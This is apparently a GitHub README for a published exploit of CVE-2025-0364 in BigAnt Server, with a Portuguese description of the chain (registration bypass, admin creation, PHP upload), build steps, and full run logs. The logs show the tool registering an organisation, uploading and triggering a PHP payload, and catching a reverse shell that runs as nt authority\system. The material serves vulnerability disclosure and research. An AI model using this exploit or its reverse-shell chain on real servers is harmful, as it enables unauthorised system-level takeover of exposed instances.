vulncheck-oss/cve-2025-0364CVE-2025-0364: BigAnt Server RCE Exploit
O BigAntSoft BigAnt Server, que fornece um servidor de chat on-premises hospedado em Windows focado em casos de uso empresarial, é vulnerável a execução remota de código não autenticada por meio de registro de conta e upload de arquivos PHP. A vulnerabilidade aproveita um registro SaaS exposto por padrão que permite a um atacante resolver um CAPTCHA simples e então criar um usuário administrativo que pode fazer upload no Cloud Storage Add-in. O sistema permite o upload de arquivos PHP que podem ser acionados sem autenticação, levando a uma cadeia de exploração que vai de nenhuma autenticação à execução remota de código em todas as versões atuais, 5.6.06 e anteriores.
A equipe VulnCheck identificou esta vulnerabilidade durante a triagem de CVE-2024-54761, que acabou exigindo acesso de administrador e tinha um valor incorreto de Privilégios Necessários (PR) do CVSS. A equipe VulnCheck identificou alguns indicadores rápidos de práticas de programação inseguras e decidiu investigar mais a fundo, levando à descoberta deste bypass de autenticação e execução remota de código por upload de arquivo. No momento da descoberta, havia cerca de 50 servidores BigAnt na internet e, no momento da publicação deste blog, havia cerca de 30 instâncias identificáveis.
Consulte nosso blog para todos os detalhes técnicos e o writeup: https://vulncheck.com/blog/bigant-cve-2025-0364
Se você tiver um ambiente de compilação Go à mão com golangci-lint e GNU make, poderá usar :
make$ make
gofmt -d -w cve-2025-0364.go
golangci-lint run --fix --timeout 3m cve-2025-0364.go
GOOS=linux GOARCH=amd64 go build -o build/cve-2025-0364_linux-amd64 cve-2025-0364.go
Para compilar o exploit em uma imagem docker, simplesmente:
make docker
A exploração exigirá 2 execuções para resolver o CAPTCHA e então fornecer os dados necessários de volta ao exploit com o CAPTCHA resolvido:
poptart@grimm $ ./build/cve-2025-0364_linux-amd64 -rhost 10.0.0.104 -rport 8000 -lhost 10.0.1.10 -lport 1337 -v -c -e
time=2025-01-09T14:49:56.185-07:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2025-01-09T14:49:56.227-07:00 level=STATUS msg="Starting TLS listener on 10.0.1.10:1337"
time=2025-01-09T14:49:56.227-07:00 level=STATUS msg="Starting target" index=0 host=10.0.0.104 port=8000 ssl=false "ssl auto"=false
time=2025-01-09T14:49:56.227-07:00 level=STATUS msg="Validating Bigantsoft Bigant Server target" host=10.0.0.104 port=8000
time=2025-01-09T14:49:56.272-07:00 level=SUCCESS msg="Target verification succeeded!" host=10.0.0.104 port=8000 verified=true
time=2025-01-09T14:49:56.272-07:00 level=STATUS msg="Running a version check on the remote target" host=10.0.0.104 port=8000
time=2025-01-09T14:49:56.301-07:00 level=VERSION msg="The reported version is 5.6.06" host=10.0.0.104 port=8000 version=5.6.06
time=2025-01-09T14:49:56.301-07:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.0.0.104 port=8000 vulnerable=yes
time=2025-01-09T14:49:56.301-07:00 level=STATUS msg="CAPTCHA flags not set, retrieving captcha-hash"
time=2025-01-09T14:49:56.317-07:00 level=STATUS msg="Open the following page in a browser and solve the CAPTCHA: http://10.0.0.104:8000/index.php/Home/Public/verify"
time=2025-01-09T14:49:56.317-07:00 level=STATUS msg="Solve CAPTCHA and pass the following flags to this exploit: `-captcha-hash 652def5853ff0030a259b30af8e7facb_6e58b283a2a66e4db833ac2547019a30 -captcha-session 4fbsn0i6bdiuu6vuik99gbhndb -captcha <SOLVED CAPTCHA>`"
^C
poptart@grimm $ ./build/cve-2025-0364_linux-amd64 -rhost 10.0.0.104 -rport 8000 -lhost 10.0.1.10 -lport 1337 -v -c -e -captcha-hash 652def5853ff0030a259b30af8e7facb_6e58b283a2a66e4db833ac2547019a30 -captcha-session 4fbsn0i6bdiuu6vuik99gbhndb -captcha VKZ6
time=2025-01-09T14:50:18.502-07:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Starting TLS listener on 10.0.1.10:1337"
time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Starting target" index=0 host=10.0.0.104 port=8000 ssl=false "ssl auto"=false
time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Validating Bigantsoft Bigant Server target" host=10.0.0.104 port=8000
time=2025-01-09T14:50:18.620-07:00 level=SUCCESS msg="Target verification succeeded!" host=10.0.0.104 port=8000 verified=true
time=2025-01-09T14:50:18.620-07:00 level=STATUS msg="Running a version check on the remote target" host=10.0.0.104 port=8000
time=2025-01-09T14:50:18.650-07:00 level=VERSION msg="The reported version is 5.6.06" host=10.0.0.104 port=8000 version=5.6.06
time=2025-01-09T14:50:18.650-07:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.0.0.104 port=8000 vulnerable=yes
time=2025-01-09T14:50:18.650-07:00 level=STATUS msg="Password that will be used for authentication: kyLZiAddnH"
time=2025-01-09T14:50:18.650-07:00 level=STATUS msg="Registering SaaS org: LBJCUE ([email protected]) with password: kyLZiAddnH"
time=2025-01-09T14:50:18.675-07:00 level=STATUS msg="Getting new PHP session and pinning the SaaS org to the session"
time=2025-01-09T14:50:18.747-07:00 level=STATUS msg="Retrieving org SSID from demo page with session v1cir7mh9v4dfv4ik54mhq6so0"
time=2025-01-09T14:50:18.764-07:00 level=STATUS msg="Retrieved SSID for LBJCUE: 387360F0-EECD-622B-5B90-C37F2BBD45B3"
time=2025-01-09T14:50:18.765-07:00 level=STATUS msg="Activating SaaS organization"
time=2025-01-09T14:50:22.627-07:00 level=STATUS msg="Authenticating to the addin SaaS admin"
time=2025-01-09T14:50:22.673-07:00 level=STATUS msg="Visiting SaaS addin cloud drive page"
time=2025-01-09T14:50:22.762-07:00 level=STATUS msg="Got cloud drive root path UUID: 99C8911A-DCB3-E5F2-4298-1E3567AA0DAD"
time=2025-01-09T14:50:22.762-07:00 level=STATUS msg="Attempting to upload `JQsaYCKEOu.php` to cloud drive addin"
time=2025-01-09T14:50:22.819-07:00 level=STATUS msg="Attempting to trigger final payload, timeout is expected after callback"
time=2025-01-09T14:50:22.819-07:00 level=STATUS msg="Requesting final payload at: http://10.0.0.104:8000/data/387360F0-EECD-622B-5B90-C37F2BBD45B3/pan/99C8911A-DCB3-E5F2-4298-1E3567AA0DAD/2025-01-09/JQsaYCKEOu.php"
time=2025-01-09T14:50:22.821-07:00 level=SUCCESS msg="Caught new shell from 10.0.0.104:51690"
time=2025-01-09T14:50:22.821-07:00 level=STATUS msg="Active shell from 10.0.0.104:51690"
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\BigAntSoft\IM Console\im_webserver\htdocs\data\387360F0-EECD-622B-5B90-C37F2BBD45B3\pan\99C8911A-DCB3-E5F2-4298-1E3567AA0DAD\2025-01-09>whoami
whoami
nt authority\system
C:\Program Files (x86)\BigAntSoft\IM Console\im_webserver\htdocs\data\387360F0-EECD-622B-5B90-C37F2BBD45B3\pan\99C8911A-DCB3-E5F2-4298-1E3567AA0DAD\2025-01-09>^C